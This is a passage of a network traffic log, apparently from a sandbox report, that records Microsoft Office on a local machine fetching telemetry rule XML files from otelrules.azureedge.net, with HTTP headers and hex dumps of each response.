2024-11-16 03:34:14 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49943	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:14 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:14 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 22a3ed20-101e-005a-80a7-36882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033414Z-1866b5c5fbb7lvschC1DFW4rm000000002bg0000000007yq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:14 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49945	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:14 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:14 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:14 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: fffac850-701e-0098-3309-37395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033414Z-1866b5c5fbbzzh8chC1DFWdrc400000001u000000000kzb0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:14 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49946	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:14 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:14 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fb45f2b4-401e-0016-3630-3653e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033414Z-1866b5c5fbbqmbqjhC1DFWwgvc00000001wg0000000002qv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:14 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49950	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:15 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:15 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 752b16b4-801e-0067-02c3-36fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033415Z-164f84587bfsqsthhC1DFWh63000000001cg000000007zwe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:15 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49947	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:15 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:15 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:15 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: fea61825-901e-0083-2e81-37bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033415Z-16547b76f7f7zzl8hC1DFWmtag0000000170000000001ygk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 03:34:15 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49948	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:15 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:15 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:15 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 4901c883-e01e-0020-44af-36de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033415Z-16547b76f7f9bs6dhC1DFWt3rg0000000p1000000000fd0h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:15 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49949	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:15 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:15 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: d62d9096-801e-0048-06af-36f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033415Z-16547b76f7f775p5hC1DFWzdvn0000000p5g0000000000pb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:15 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49951	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:15 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:15 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:15 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 10622547-201e-0085-529f-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033415Z-16547b76f7f9bs6dhC1DFWt3rg0000000p4g0000000027h6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 03:34:15 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49952	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:16 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:16 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 9dc908ac-101e-0034-7fa0-3496ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033416Z-164f84587bfs5tz9hC1DFW9a3w000000026000000000ttkv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:16 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49953	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:16 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:16 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:16 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: e3d9936e-401e-0083-0609-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033416Z-16547b76f7fgfpmjhC1DFWw6ec00000001n000000000gtym x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:16 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49954	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:16 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:16 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:16 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 1deec605-401e-0029-2fd2-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033416Z-16547b76f7fbkfmzhC1DFWm9tw00000001vg00000000c0s3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:16 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49955	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
